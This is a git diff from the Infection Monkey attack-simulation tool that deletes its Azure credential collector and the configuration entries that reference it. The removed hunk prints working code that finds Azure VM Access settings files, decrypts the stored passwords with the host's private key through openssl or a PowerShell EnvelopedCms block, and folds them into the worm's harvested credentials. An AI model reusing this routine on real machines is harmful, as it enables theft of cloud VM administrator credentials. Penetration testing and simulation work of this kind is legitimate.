diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index 175a054e1..afd9e3321 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -3,4 +3,3 @@ HOSTNAME_COLLECTOR = "HostnameCollector" ENVIRONMENT_COLLECTOR = "EnvironmentCollector" PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" -AZURE_CRED_COLLECTOR = "AzureCollector" diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b2a5c24dd..7576b5095 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -11,7 +11,6 @@ "current_server": "192.0.2.0:5000", "alive": true, "collect_system_info": true, - "extract_azure_creds": true, "should_use_mimikatz": true, "depth": 2, diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 830a741f1..4761f24fa 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -4,9 +4,7 @@ from enum import IntEnum import psutil -from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR from infection_monkey.network.info import get_host_subnets -from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler logger = logging.getLogger(__name__) @@ -63,7 +61,6 @@ class InfoCollector(object): def get_info(self): # Collect all hardcoded self.get_network_info() - self.get_azure_info() # Collect all plugins SystemInfoCollectorsHandler().execute_all_configured() @@ -77,35 +74,3 @@ class InfoCollector(object): """ logger.debug("Reading subnets") self.info["network_info"] = {"networks": get_host_subnets()} - - def get_azure_info(self): - """ - Adds credentials possibly stolen from an Azure VM instance (if we're on one) - Updates the credentials structure, creating it if necessary (compat with mimikatz) - :return: None. Updates class information - """ - # noinspection PyBroadException - try: - from infection_monkey.config import WormConfiguration - - if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes: - return - logger.debug("Harvesting creds if on an Azure machine") - azure_collector = AzureCollector() - azure_creds = azure_collector.extract_stored_credentials() - for cred in azure_creds: - username = cred[0] - password = cred[1] - if username not in self.info["credentials"]: - self.info["credentials"][username] = {} - # we might be losing passwords in case of multiple reset attempts on same username - # or in case another collector already filled in a password for this user - self.info["credentials"][username]["password"] = password - self.info["credentials"][username]["username"] = username - if len(azure_creds) != 0: - self.info["Azure"] = {} - self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds] - except Exception: - # If we failed to collect azure info, no reason to fail all the collection. Log and - # continue. - logger.error("Failed collecting Azure info.", exc_info=True) diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py deleted file mode 100644 index 3d1f3e573..000000000 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ /dev/null @@ -1,131 +0,0 @@ -import glob -import json -import logging -import os.path -import subprocess -import sys - -from common.utils.attack_utils import ScanStatus -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -from infection_monkey.telemetry.attack.t1064_telem import T1064Telem - -logger = logging.getLogger(__name__) - - -class AzureCollector(object): - """ - Extract credentials possibly saved on Azure VM instances by the VM Access plugin - """ - - def __init__(self): - if sys.platform.startswith("win"): - self.path = ( - "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" - ) - self.extractor = AzureCollector.get_pass_windows - else: - self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" - self.extractor = AzureCollector.get_pass_linux - self.file_list = glob.iglob(os.path.join(self.path, "*.settings")) - - def extract_stored_credentials(self): - """ - Returns a list of username/password pairs saved under configuration files - :return: List of (user/pass), possibly empty - """ - results = [self.extractor(filepath) for filepath in self.file_list] - results = [x for x in results if x] - logger.info("Found %d Azure VM access configuration file", len(results)) - return results - - @staticmethod - def get_pass_linux(filepath): - """ - Extract passwords from Linux azure VM Access files - :return: Username, password - """ - linux_cert_store = "/var/lib/waagent/" - try: - json_data = json.load(open(filepath, "r")) - # this is liable to change but seems to be stable over the last year - protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] - cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][ - "protectedSettingsCertThumbprint" - ] - base64_command = """openssl base64 -d -a""" - priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) - b64_proc = subprocess.Popen( - base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE - ) - b64_result = b64_proc.communicate(input=protected_data + "\n")[0] - decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path - decrypt_proc = subprocess.Popen( - decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE - ) - decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] - decrypt_data = json.loads(decrypt_raw) - T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() - T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send() - return decrypt_data["username"], decrypt_data["password"] - except IOError: - logger.warning("Failed to parse VM Access plugin file. Could not open file") - return None - except (KeyError, ValueError): - logger.warning("Failed to parse VM Access plugin file. Invalid format") - return None - except subprocess.CalledProcessError: - logger.warning( - "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" - ) - return None - - @staticmethod - def get_pass_windows(filepath): - """ - Extract passwords from Windows azure VM Access files - :return: Username,password - """ - try: - json_data = json.load(open(filepath, "r")) - # this is liable to change but seems to be stable over the last year - protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"] - username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][ - "UserName" - ] - # we're going to do as much of this in PS as we can. - ps_block = ";\n".join( - [ - '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | ' - "Out-Null", - '$base64 = "%s"' % protected_data, - "$content = [Convert]::FromBase64String($base64)", - "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", - "$env.Decode($content)", - "$env.Decrypt()", - "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", - "Write-Host $utf8content", # we want to simplify parsing - ] - ) - ps_proc = subprocess.Popen( - ["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE - ) - ps_out = ps_proc.communicate(ps_block)[0] - # this is disgusting but the alternative is writing the file to disk... - password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1] - password = json.loads(password_raw)["Password"] - T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() - T1064Telem( - ScanStatus.USED, "Powershell scripts used to extract azure credentials." - ).send() - return username, password - except IOError: - logger.warning("Failed to parse VM Access plugin file. Could not open file") - return None - except (KeyError, ValueError, IndexError): - logger.warning("Failed to parse VM Access plugin file. Invalid format") - return None - except subprocess.CalledProcessError: - logger.warning( - "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" - ) - return None diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 547161936..ac60538b3 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -14,7 +14,6 @@ class ConfigSchemaPerAttackTechnique: "T1003": { "System Info Collectors": [ "Mimikatz collector", - "Azure credential collector" ] } }